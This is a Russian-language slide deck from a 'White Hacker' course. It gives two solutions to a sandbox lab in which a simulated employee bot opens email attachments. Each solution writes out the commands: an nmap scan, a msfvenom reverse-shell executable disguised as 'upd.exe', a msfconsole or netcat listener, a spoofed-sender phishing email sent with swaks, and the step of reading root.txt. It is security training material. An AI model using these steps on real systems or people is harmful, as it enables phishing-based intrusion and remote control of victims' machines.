CyberED

Семинар по решению задачи социальной инженерии в рамках курса Белый хакер

Задача

В нашей подсети находится хост с двумя пользователями: Mike и Trevis.

Mike пользуется почтовым ящиком mike@sandbox.local

Trevis - пользователь, у которого нет доступа к документам Mike.

У пользователя Mike запущен бот, который читает входящие письма. При наличии в них вложений, бот запускает их, тем самым имитируя действия неграмотного сотрудника.

Задача: получить доступ к секретному содержимому файла root.txt, расположенного на рабочем столе пользователя Mike.

CyberED

В качестве ответа предоставьте содержимое файла root.txt

Алгоритм действий

1. Узнать свой ip-адрес
2. Провести разведку подсети
3. Сгенерировать нагрузку
4. Настроить слушатель
5. Отправить письмо с вложением
6. Получить обратный шелл
7. Добраться до root.txt

CyberED

Решение № 1.

1. Выполните команду в терминальной оболочке Linux *ip a*
2. Запомните свой ip-адрес
3. На этапе разведки просканируйте сеть при помощи утилиты nmap командой *sudo nmap <ваш ip/маска подсети>*
4. Найдите в выводе утилиты машину с открытым 25 портом (SMTP)
5. Сгенерируйте нагрузку при помощи команды

msfvenom -p windows/shell/reverse_tcp LHOST=<ваш ip> LPORT 4444 -f exe -o upd.exe

1. Поднимите слушатель для принятия обратного соединения от машины - жертвы при помощи *msfconsole*

   use exploit/multi/handler

   set payload windows/shell/reverse_tcp

   set LHOST 192.168.56.102

   exploit

1. Отправьте письмо Mike: *swaks --to mike@sandbox.local --from admin@sandbox.local --server <ip жертвы> --attach @upd.exe*
2. Получаете обратное соединение с машиной-жертвой и добираетесь до root.txt

   cd C:\Users\Mike\Desktop

CyberED

Решение № 2.

1. Выполните команду в терминальной оболочке Linux *ip a*
2. Запомните свой ip-адрес
3. На этапе разведки просканируйте сеть при помощи утилиты nmap командой *sudo nmap <ваш ip/маска подсети>*
4. Найдите в выводе утилиты машину с открытым 25 портом (SMTP)
5. Сгенерируйте нагрузку при помощи команды

msfvenom -p windows/shell_reverse_tcp LHOST=<ваш ip> LPORT 5555 -f exe -o upd.exe

1. Поднимите слушатель для принятия обратного соединения от машины - жертвы при помощи *netcat*

nc -lvnp 5555

1. Отправьте письмо Mike:

swaks --to mike@sandbox.local --from admin@sandbox.local --server <ip жертвы> --attach @upd.exe

1. Получаете обратное соединение с машиной-жертвой и добираетесь до root.txt

cd C:\Users\Mike\Desktop

type root.txt

CyberED

CyberED

Спасибо за внимание!